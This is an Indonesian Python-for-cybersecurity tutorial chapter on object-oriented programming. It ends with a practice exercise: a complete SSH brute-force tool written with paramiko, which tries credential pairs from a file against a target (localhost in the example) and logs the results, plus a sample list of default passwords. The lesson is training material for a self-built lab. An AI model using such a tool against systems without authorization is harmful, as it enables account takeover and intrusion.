Object Oriented Programming

Basic Python for Cybersecurity

Deskripsi OOP

Definisi OOP

Adu Paradigma: OOP vs Prosedural

Procedural Code (Conventional)	OOP Code
Code runs **top to bottom**	Code is organized into **classes**
Uses **functions + variables**	Uses **objects + methods**
Good for small scripts	Better for **scalable programs**

Plus Minus OOP

✅ Pros:

- Organizes complex code
- Encourages reuse (via inheritance)
- Easier to maintain and extend

❌ Cons:

- Overkill for small tasks
- Can be harder to understand at first
- Slightly more overhead (boilerplate code)

Konsep & Syntax OOP

Konsep OOP

Concept	Description	Python Implementation Example
Class	Blueprint for creating objects. Defines attributes and methods.	`class User:` `pass`
Object	An instance of a class. Has state (data) and behavior (methods).	`u = User()`
Method	A function defined inside a class.	`def greet(self):`
Attribute	Variable tied to an object or class. Stores state/data.	`self.name = "admin"`
Constructor	Initializes object when created. In Python: `__init__`	`def __init__(self, name):`
Encapsulation	Hiding internal details. Controlled access via methods.	`self.__password` (private)
Inheritance	Class can inherit from another class. Reuse and extend behavior.	`class Admin(User):`
Polymorphism	Ability to override methods or use same interface for different types.	`def login(self):` (overridden in subclass)
Abstraction	Hiding complex logic behind a simple interface.	`def connect(self):` (defined in base class, implemented in subclass)

Concept	Description	Python Implementation Example

Class method	Belongs to the class, not instance. Defined with `@classmethod`.	`@classmethod`
		`def from_dict(cls, d):`

Static method	Like class method, but no access to class or instance. Decorated with `@staticmethod`.	`@staticmethod`
		`def help():`

Dunder methods	"Double underscore" special methods for customizing behavior.	`def __str__(self):`

Praktik: SSH Brute Force dalam bentuk OOP

Di chapter sebelumnya kamu sudah membuat program untuk brute force SSH. Di chapter ini, kamu akan refactor program tersebut dalam format OOP.

Selain itu, file credential dalam format `username:password` juga akan disediakan sebagai file terpisah `credentials.txt` sesuai yang telah dipalajari.

Jangan lupa untuk lakukan setup SSH agar kamu punya target.

File program

```python
# ssh_bruteforce.py

from dataclasses import dataclass
from datetime import datetime
import paramiko
from typing import List

@dataclass
class Credential:
    username: str
    password: str

@dataclass
class BruteForceLog:
    username: str
    password: str
    ip_target: str
    is_success: bool
    timestamp: str

class BruteForce:
    def __init__(self):
        self.credentials: List[Credential] = []
        self.logs: List[BruteForceLog] = []

    def load_credentials(self, filepath: str):
        with open(filepath, "r") as f:
            lines = f.readlines()
            for line in lines:
                if ':' in line:
                    username, password = line.strip().split(':', 1)
                    self.credentials.append(Credential(username, password))

    def attempt_ssh(self, ip_target: str, port: int = 22, timeout: int = 3):
        for cred in self.credentials:
            client = paramiko.SSHClient()
            client.set_missing_host_key_policy(paramiko.AutoAddPolicy())

            try:
                client.connect(
                    hostname=ip_target,
                    port=port,
                    username=cred.username,
                    password=cred.password,
                    timeout=timeout,
                    banner_timeout=timeout,
                    auth_timeout=timeout
                )
                success = True
            except Exception as e:
                success = False
            finally:
                client.close()

            timestamp = datetime.now().isoformat()
            self.logs.append(BruteForceLog(
                username=cred.username,
                password=cred.password,
                ip_target=ip_target,
                is_success=success,
                timestamp=timestamp
            ))

    def save_log(self, output_file: str):
        with open(output_file, 'w') as f:
            for log in self.logs:
                f.write(f"{log.timestamp} | {log.ip_target} | {log.username}:{log.password} | "
                        f"{'SUCCESS' if log.is_success else 'FAIL'}\n")

# ---------------------------
# Main Logic
# ---------------------------
if __name__ == "__main__":
    ip_target = "127.0.0.1"
    bf = BruteForce()
    bf.load_credentials("credentials.txt")             # Format: username:password (one per line)
    bf.attempt_ssh(ip_target)
    bf.save_log("attack_log.txt")

    print("Attack finished. Logs written to attack_log.txt.")
```

Contoh credential `credentials.txt`

```
admin:admin123
root:toor
user:123456
```

Referensi

-